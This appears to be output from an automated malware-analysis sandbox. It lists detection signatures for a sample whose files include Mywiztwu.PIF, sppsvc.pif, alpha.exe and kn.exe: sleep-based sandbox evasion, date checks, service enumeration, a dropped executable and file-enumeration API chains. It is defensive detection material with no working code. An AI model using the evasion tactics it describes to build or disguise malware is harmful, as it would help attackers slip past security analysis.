Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Delayed program exit found
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_1529F7A7 Sleep,ExitProcess, 9_2_1529F7A7
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1455F7A7 Sleep,ExitProcess, 24_2_1455F7A7
Contains functionality to enumerate running services
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle, 9_2_152AA748
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle, 24_2_1456A748
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\Public\Libraries\sppsvc.pif Window / User API: threadDelayed 9388 Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif Window / User API: foregroundWindowGot 1756 Jump to behavior
Found decision node followed by non-executed suspicious APIs
Source: C:\Users\Public\Libraries\sppsvc.pif Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)
Found dropped PE file which has not been started or loaded
Source: C:\Users\Public\Libraries\sppsvc.pif Dropped PE file which has not been started: C:\Users\Public\Libraries\easinvoker.exe Jump to dropped file
Found evasive API chain (date check)
Source: C:\Users\Public\Libraries\sppsvc.pif Evasive API call chain: GetLocalTime,DecisionNodes
Found large amount of non-executed APIs
Source: C:\Users\Public\alpha.exe API coverage: 8.4 %
Source: C:\Users\Public\alpha.exe API coverage: 8.6 %
Source: C:\Users\Public\kn.exe API coverage: 0.8 %
Source: C:\Users\Public\alpha.exe API coverage: 9.7 %
Source: C:\Users\Public\alpha.exe API coverage: 9.7 %
Source: C:\Users\Public\Libraries\Mywiztwu.PIF API coverage: 6.1 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\Public\Libraries\sppsvc.pif TID: 1744 Thread sleep time: -90000s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif TID: 5804 Thread sleep time: -537000s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\sppsvc.pif TID: 5804 Thread sleep time: -28164000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F82978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove, 3_2_00007FF683F82978
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F8823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose, 3_2_00007FF683F8823C
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F71560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW, 3_2_00007FF683F71560
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F735B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose, 3_2_00007FF683F735B8
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F97B4C FindFirstFileW,FindNextFileW,FindClose, 3_2_00007FF683F97B4C
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F82978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove, 5_2_00007FF683F82978
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F8823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose, 5_2_00007FF683F8823C
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F71560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW, 5_2_00007FF683F71560
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F735B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose, 5_2_00007FF683F735B8
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F97B4C FindFirstFileW,FindNextFileW,FindClose, 5_2_00007FF683F97B4C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658FC6F8 memset,qsort,#357,FindFirstFileW,GetLastError,bsearch,LocalAlloc,LocalReAlloc,LocalAlloc,FindNextFileW,GetLastError,DeleteFileW,GetLastError,#359,#357,FindClose,LocalFree,LocalFree, 6_2_00007FF6658FC6F8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66596234C wcschr,#357,#357,#359,FindFirstFileW,wcsrchr,_wcsnicmp,iswxdigit,wcstoul,FindNextFileW,#359,#359,#357,#357,LocalFree,LocalFree,FindClose, 6_2_00007FF66596234C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659610C4 #357,FindFirstFileW,LocalFree,FindNextFileW,FindClose,LocalFree,#357, 6_2_00007FF6659610C4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665963100 #357,FindFirstFileW,#359,FindNextFileW,FindClose,LocalFree,#357, 6_2_00007FF665963100
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665966F80 #359,FindFirstFileW,FindNextFileW,FindClose,LocalAlloc,#357, 6_2_00007FF665966F80
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665943674 #357,LocalAlloc,#357,wcsrchr,FindFirstFileW,GetLastError,#359,lstrcmpW,lstrcmpW,#359,RemoveDirectoryW,GetLastError,#359,#359,FindNextFileW,FindClose,LocalFree,LocalFree,DeleteFileW,GetLastError,#359, 6_2_00007FF665943674
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658CD440 GetFileAttributesW,#357,#357,#357,FindFirstFileW,LocalFree,#357,FindNextFileW,#357,LocalFree,FindClose,LocalFree,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658CD440
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590D4A4 CreateSemaphoreW,GetLastError,CreateEventW,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,CloseHandle,CloseHandle, 6_2_00007FF66590D4A4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590B3D8 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,I_CryptCreateLruCache,GetLastError,I_CryptCreateLruCache,GetLastError,#357, 6_2_00007FF66590B3D8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665905E58 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose, 6_2_00007FF665905E58
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665961B04 FindFirstFileW,GetLastError,#357,#359,DeleteFileW,FindNextFileW,FindClose,#359, 6_2_00007FF665961B04
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659619F8 #359,FindFirstFileW,FindNextFileW,FindClose, 6_2_00007FF6659619F8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590DBC0 FindFirstFileW,GetLastError,CertOpenStore,CertAddStoreToCollection,CertCloseStore,FindNextFileW,GetLastError,GetLastError,#357,GetLastError,GetLastError,#357,LocalFree,CertCloseStore,CertCloseStore,FindClose, 6_2_00007FF66590DBC0
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_1529BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose, 9_2_1529BD37
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_15299665 FindFirstFileW,FindNextFileW,FindClose,FindClose, 9_2_15299665
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_1529783C FindFirstFileW,FindNextFileW, 9_2_1529783C
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_1529880C FindFirstFileW,FindNextFileW,FindClose, 9_2_1529880C
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_1529BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose, 9_2_1529BB30
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_1529C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose, 9_2_1529C34D
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152AC291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose, 9_2_152AC291
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152A9AF5 FindFirstFileW, 9_2_152A9AF5
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F82978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove, 10_2_00007FF683F82978
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F8823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose, 10_2_00007FF683F8823C
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F71560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW, 10_2_00007FF683F71560
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F735B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose, 10_2_00007FF683F735B8
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F97B4C FindFirstFileW,FindNextFileW,FindClose, 10_2_00007FF683F97B4C
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F82978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove, 11_2_00007FF683F82978
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F8823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose, 11_2_00007FF683F8823C
